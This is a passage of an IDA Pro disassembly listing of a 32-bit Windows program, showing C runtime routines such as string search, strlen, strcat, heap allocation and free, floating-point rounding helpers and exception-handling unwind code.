		cmp	al, dl
		jz	short loc_4124FA
		test	al, al
		jz	short loc_4124F4


loc_4124E9:				; CODE XREF: sub_4124C0+32j
		mov	al, [esi]
		inc	esi


loc_4124EC:				; CODE XREF: sub_4124C0+3Fj
		cmp	al, dl
		jz	short loc_4124FA
		test	al, al
		jnz	short loc_4124E9


loc_4124F4:				; CODE XREF: sub_4124C0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4124FA:				; CODE XREF: sub_4124C0+23j
					; sub_4124C0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4124EC
		lea	edi, [esi-1]


loc_412504:				; CODE XREF: sub_4124C0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_412533
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_4124D8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_412533
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_412504
		jmp	short loc_4124D8
; ---------------------------------------------------------------------------


loc_412527:				; CODE XREF: sub_4124C0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_414146
; ---------------------------------------------------------------------------


loc_412533:				; CODE XREF: sub_4124C0+49j
					; sub_4124C0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41253A:				; CODE XREF: sub_4124C0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_4124C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_412540	proc near		; CODE XREF: sub_40211A+94p
					; sub_4040DB+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_412555
		or	eax, 0FFFFFFFFh
		jmp	short loc_41258F
; ---------------------------------------------------------------------------


loc_412555:				; CODE XREF: sub_412540+Ej
		test	al, 83h
		jz	short loc_41258D
		push	esi
		call	sub_414FB4
		push	esi
		mov	edi, eax
		call	sub_414F4E
		push	dword ptr [esi+10h]
		call	sub_414E9B
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41257B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41258D
; ---------------------------------------------------------------------------


loc_41257B:				; CODE XREF: sub_412540+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41258D
		push	eax
		call	sub_412813
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41258D:				; CODE XREF: sub_412540+17j
					; sub_412540+39j ...
		mov	eax, edi


loc_41258F:				; CODE XREF: sub_412540+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_412540	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412596	proc near		; CODE XREF: sub_40211A+8Ep
					; .nsp0:0040C923p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_415086
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41461C
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_415113
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_412596	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125C8	proc near		; CODE XREF: sub_4125E8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_4152C0
		test	eax, eax
		jnz	short loc_4125D2
		retn
; ---------------------------------------------------------------------------


loc_4125D2:				; CODE XREF: sub_4125C8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_415150
		add	esp, 10h
		retn
sub_4125C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125E8	proc near		; CODE XREF: sub_40211A+54p
					; sub_4040DB+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4125C8
		add	esp, 0Ch
		retn
sub_4125E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412600	proc near		; CODE XREF: sub_404175+2BFp
					; sub_40787E+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_412671
sub_412600	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412610	proc near		; CODE XREF: sub_40211A+32p
					; sub_40211A+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41262C


loc_41261D:				; CODE XREF: sub_412610+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41265F
		test	ecx, 3
		jnz	short loc_41261D


loc_41262C:				; CODE XREF: sub_412610+Bj
					; sub_412610+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41262C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41266E
		test	ah, ah
		jz	short loc_412669
		test	eax, 0FF0000h
		jz	short loc_412664
		test	eax, 0FF000000h
		jz	short loc_41265F
		jmp	short loc_41262C
; ---------------------------------------------------------------------------


loc_41265F:				; CODE XREF: sub_412610+12j
					; sub_412610+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_412671
; ---------------------------------------------------------------------------


loc_412664:				; CODE XREF: sub_412610+44j
		lea	edi, [ecx-2]
		jmp	short loc_412671
; ---------------------------------------------------------------------------


loc_412669:				; CODE XREF: sub_412610+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_412671
; ---------------------------------------------------------------------------


loc_41266E:				; CODE XREF: sub_412610+39j
		lea	edi, [ecx-4]


loc_412671:				; CODE XREF: sub_412600+5j
					; sub_412610+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_412696


loc_41267D:				; CODE XREF: sub_412610+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_4126E8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41267D
		jmp	short loc_412696
; ---------------------------------------------------------------------------


loc_412691:				; CODE XREF: sub_412610+9Ej
					; sub_412610+B8j
		mov	[edi], edx
		add	edi, 4


loc_412696:				; CODE XREF: sub_412610+6Bj
					; sub_412610+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_412691
		test	dl, dl
		jz	short loc_4126E8
		test	dh, dh
		jz	short loc_4126DF
		test	edx, 0FF0000h
		jz	short loc_4126D2
		test	edx, 0FF000000h
		jz	short loc_4126CA
		jmp	short loc_412691
; ---------------------------------------------------------------------------


loc_4126CA:				; CODE XREF: sub_412610+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4126D2:				; CODE XREF: sub_412610+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4126DF:				; CODE XREF: sub_412610+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4126E8:				; CODE XREF: sub_412610+72j
					; sub_412610+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_412610	endp


; =============== S U B	R O U T	I N E =======================================



sub_4126F0	proc near		; CODE XREF: sub_4021FB+1A7p
					; sub_4021FB:loc_4023B5p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_412710


loc_4126FC:				; CODE XREF: sub_4126F0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_412743
		test	ecx, 3
		jnz	short loc_4126FC
		add	eax, 0


loc_412710:				; CODE XREF: sub_4126F0+Aj
					; sub_4126F0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_412710
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_412761
		test	ah, ah
		jz	short loc_412757
		test	eax, 0FF0000h
		jz	short loc_41274D
		test	eax, 0FF000000h
		jz	short loc_412743
		jmp	short loc_412710
; ---------------------------------------------------------------------------


loc_412743:				; CODE XREF: sub_4126F0+11j
					; sub_4126F0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41274D:				; CODE XREF: sub_4126F0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_412757:				; CODE XREF: sub_4126F0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_412761:				; CODE XREF: sub_4126F0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_4126F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412770	proc near		; CODE XREF: .nsp0:004024E4p
					; sub_404175+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_412790


loc_41277C:				; CODE XREF: sub_412770+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41277C


loc_412790:				; CODE XREF: sub_412770+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_412770	endp


; =============== S U B	R O U T	I N E =======================================



sub_41279F	proc near		; CODE XREF: sub_402847+Ap
					; sub_402881+12p ...

arg_0		= dword	ptr  4

		push	dword_462C24
		push	[esp+4+arg_0]
		call	sub_4127B1
		pop	ecx
		pop	ecx
		retn
sub_41279F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4127B1	proc near		; CODE XREF: sub_41279F+Ap
					; sub_413195+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_4127DA


loc_4127B8:				; CODE XREF: sub_4127B1+27j
		push	[esp+arg_0]
		call	sub_4127DD
		test	eax, eax
		pop	ecx
		jnz	short locret_4127DC
		cmp	[esp+arg_4], eax
		jz	short locret_4127DC
		push	[esp+arg_0]
		call	sub_415338
		test	eax, eax
		pop	ecx
		jnz	short loc_4127B8


loc_4127DA:				; CODE XREF: sub_4127B1+5j
		xor	eax, eax

locret_4127DC:				; CODE XREF: sub_4127B1+13j
					; sub_4127B1+19j
		retn
sub_4127B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4127DD	proc near		; CODE XREF: sub_4127B1+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_4316CC
		ja	short loc_4127F5
		push	esi
		call	sub_415723
		test	eax, eax
		pop	ecx
		jnz	short loc_412811


loc_4127F5:				; CODE XREF: sub_4127DD+Bj
		test	esi, esi
		jnz	short loc_4127FC
		push	1
		pop	esi


loc_4127FC:				; CODE XREF: sub_4127DD+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_464220
		call	dword_41D144	; RtlAllocateHeap


loc_412811:				; CODE XREF: sub_4127DD+16j
		pop	esi
		retn
sub_4127DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412813	proc near		; CODE XREF: sub_4028D6+Ap
					; sub_4028EF+7Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_412840
		push	esi
		call	sub_4153CD
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_412832
		push	eax
		call	sub_4153F8
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412832:				; CODE XREF: sub_412813+13j
		push	0
		push	dword_464220
		call	dword_41D148	; RtlFreeHeap


loc_412840:				; CODE XREF: sub_412813+7j
		pop	esi
		retn
sub_412813	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_412842(double)

sub_412842	proc near		; CODE XREF: sub_403007+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_431470
		call	sub_4166F6
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_4128C8
		call	sub_4165BE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_4128AB
		cmp	eax, 2
		jle	short loc_41289D
		cmp	eax, 3
		jnz	short loc_4128AB
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_415ECE
		add	esp, 10h
		jmp	short loc_41290D
; ---------------------------------------------------------------------------


loc_41289D:				; CODE XREF: sub_412842+3Fj
		push	esi
		push	ebx
		call	sub_4166F6
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41290D
; ---------------------------------------------------------------------------


loc_4128AB:				; CODE XREF: sub_412842+3Aj
					; sub_412842+44j
		fld	[ebp+arg_0]
		fadd	dbl_41D668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_412905
; ---------------------------------------------------------------------------


loc_4128C8:				; CODE XREF: sub_412842+2Fj
		call	sub_416583
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_4128EB


loc_4128DD:				; CODE XREF: sub_412842+ACj
		push	esi
		push	ebx
		call	sub_4166F6
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41290D
; ---------------------------------------------------------------------------


loc_4128EB:				; CODE XREF: sub_412842+99j
		test	bl, 20h
		jnz	short loc_4128DD
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_412905:				; CODE XREF: sub_412842+84j
		call	sub_415F21
		add	esp, 1Ch


loc_41290D:				; CODE XREF: sub_412842+59j
					; sub_412842+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_412842	endp


; =============== S U B	R O U T	I N E =======================================



sub_412911	proc near		; CODE XREF: sub_413FAA+9p
					; DATA XREF: .nsp0:off_43147Co
		call	sub_412929
		call	sub_4167BF
		mov	dword_462BA4, eax
		call	sub_41676F
		fnclex
		retn
sub_412911	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_412929	proc near		; CODE XREF: sub_412911p
		mov	eax, offset sub_416BAD
		mov	off_4317EC, offset loc_416842
		mov	off_4317E8, eax
		mov	off_4317F0, offset sub_4168A8
		mov	off_4317F4, offset sub_4167E8
		mov	off_4317F8, offset loc_416890
		mov	off_4317FC, eax
		retn
sub_412929	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412964	proc near		; CODE XREF: sub_403007+1Bp
					; sub_403007+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_412964	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41298B(double)

sub_41298B	proc near		; CODE XREF: sub_403053+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_431488
		call	sub_4166F6
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_412A11
		call	sub_4165BE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_4129F4
		cmp	eax, 2
		jle	short loc_4129E6
		cmp	eax, 3
		jnz	short loc_4129F4
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_415ECE
		add	esp, 10h
		jmp	short loc_412A56
; ---------------------------------------------------------------------------


loc_4129E6:				; CODE XREF: sub_41298B+3Fj
		push	esi
		push	ebx
		call	sub_4166F6
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_412A56
; ---------------------------------------------------------------------------


loc_4129F4:				; CODE XREF: sub_41298B+3Aj
					; sub_41298B+44j
		fld	[ebp+arg_0]
		fadd	dbl_41D668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_412A4E
; ---------------------------------------------------------------------------


loc_412A11:				; CODE XREF: sub_41298B+2Fj
		call	sub_416583
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_412A34


loc_412A26:				; CODE XREF: sub_41298B+ACj
		push	esi
		push	ebx
		call	sub_4166F6
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_412A56
; ---------------------------------------------------------------------------


loc_412A34:				; CODE XREF: sub_41298B+99j
		test	bl, 20h
		jnz	short loc_412A26
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_412A4E:				; CODE XREF: sub_41298B+84j
		call	sub_415F21
		add	esp, 1Ch


loc_412A56:				; CODE XREF: sub_41298B+59j
					; sub_41298B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41298B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A5A	proc near		; CODE XREF: sub_41701E+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_412A5A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_412A8E	proc near		; CODE XREF: sub_4171CF+199p
					; sub_417393+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_412A8E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412A95	proc near		; CODE XREF: sub_4171CF+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_412A95	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A9C	proc near		; CODE XREF: sub_412C4E+5Cp
					; sub_41701E:loc_41704Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_412AC4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C9DC	; RtlUnwind


loc_412AC4:				; DATA XREF: sub_412A9C+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_412A9C	endp

; ---------------------------------------------------------------------------


loc_412AEB:				; CODE XREF: .nsp0:0041CB38j
					; .nsp0:0041CB55j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_416C23
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B21	proc near		; CODE XREF: sub_417099+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_412B75
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_417420
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_412B21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B75	proc near		; DATA XREF: sub_412B21+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_416C23
		add	esp, 20h
		pop	ebp
		retn
sub_412B75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B9A	proc near		; CODE XREF: sub_416E65+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_412C4E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_412C20
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_462C44
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_412C20:				; DATA XREF: sub_412B9A+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_412C3D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_412C46
; ---------------------------------------------------------------------------


loc_412C3D:				; CODE XREF: sub_412B9A+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_412C46:				; CODE XREF: sub_412B9A+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412B9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412C4E	proc near		; DATA XREF: sub_412B9A+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_412C71
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_412CBE
; ---------------------------------------------------------------------------


loc_412C71:				; CODE XREF: sub_412C4E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_416C23
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_412CAF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_412A9C


loc_412CAF:				; CODE XREF: sub_412C4E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_412CBE:				; CODE XREF: sub_412C4E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_412C4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412CC3	proc near		; CODE XREF: sub_416CBE+C6p
					; sub_416E65+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_412D1A


loc_412CE1:				; CODE XREF: sub_412CC3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_412CEB
		call	sub_4174C2


loc_412CEB:				; CODE XREF: sub_412CC3+21j
